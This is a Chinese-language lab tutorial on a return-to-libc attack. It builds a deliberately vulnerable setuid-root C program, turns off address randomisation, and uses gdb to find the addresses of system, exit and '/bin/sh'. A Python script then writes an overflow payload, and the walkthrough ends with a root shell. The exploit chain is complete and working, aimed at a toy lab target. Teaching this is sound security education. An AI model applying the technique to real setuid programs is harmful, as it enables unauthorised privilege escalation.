return-to-libc 攻击

1. 环境准备

(关闭地址随机化) `sudo sysctl -w kernel.randomize_va_space=0`

(创建漏洞程序) 程序源码如下：

```
#include "stdio.h"
#include "stdlib.h"
#include "string.h"

int foo(char *str) {
    char buffer[100];

    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv) {
    char str[400];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 300, badfile);
    foo(str);

    printf("Returned Properly\n");
    return 1;
}
```

(编译程序并设置为setuid程序)

```
gcc -fno-stack-protector -z noexecstack -o stack stack.c
sudo chown root stack
sudo chmod 4755 stack
```

2. 通过调试找到system与exit函数地址

```
$ touch badfile
$ gdb -q stack
$ r
$ p system
# 此处输出system函数地址
$ p exit
# 此处输出exit函数地址
```

3. 找到/bin/sh字符串的地址

首先创建一个打印环境变量地址的程序：

```
// envaddr.c

#include "stdio.h"
#include "stdlib.h"

int main() {
    char *shell = (char *)getenv("MYSHELL");
    if (shell) {
        printf("Value: %s\n", shell);
        printf("Address: %x\n", (unsigned int)shell);
    }
    return 1;
}
```

随后编译并打印环境变量地址：

```
gcc envaddr.c -o env55
export MYSHELL="/bin/sh"
./env55
# 此处会打印出环境变量MYSHELL的地址
```

4. 构建恶意输入badfile

首先通过调试找到main调用foo函数时，ebp与buffer的地址：

```
$ gcc -fno-stack-protector -z noexecstack -g -o stack_dbg stack.c
$ touch badfile
$ gdb -q stack_dbg
$ b foo
$ r
$ p $ebp
# 此处输出ebp的地址，我的机器为0xbfffeb78
$ p &buffer
# 此处输出buffer的地址，我的机器为0xbfffeb0c
$ p/d 0xbfffeb78 - 0xbfffeb0c
108 # 该差值在不同机器一致
```

编写python脚本(libc_exploit.py)生成badfile

```
#!/usr/bin/python3
import sys


content = bytearray(0xaa for i in range(300))

a3 = 0xbffffe1e # address of 'bin/sh'
content[120:124] = (a3).to_bytes(4, byteorder='little')

a2 = 0xb7e369d0 # address of exit() function
```

```
content[116:120] = (a2).to_bytes(4, byteorder='little')

a1 = 0xb7e42da0 # address of system() function
content[112:116] = (a1).to_bytes(4, byteorder='little')

with open('badfile', 'wb') as wb:
    wb.write(content)
```

注意：其中的a1、a2、a3根据你自己调试获得的地址赋值。

```
# 生成badfile
chmod u+x libc_exploit.py
./libc_exploit.py
```

5. 发起攻击

```
# 让/bin/sh指向/bin/zsh
sudo ln -sf /bin/zsh /bin/sh
# 执行stack
./stack
# 此时应该得到shell，使用id查看权限
id
```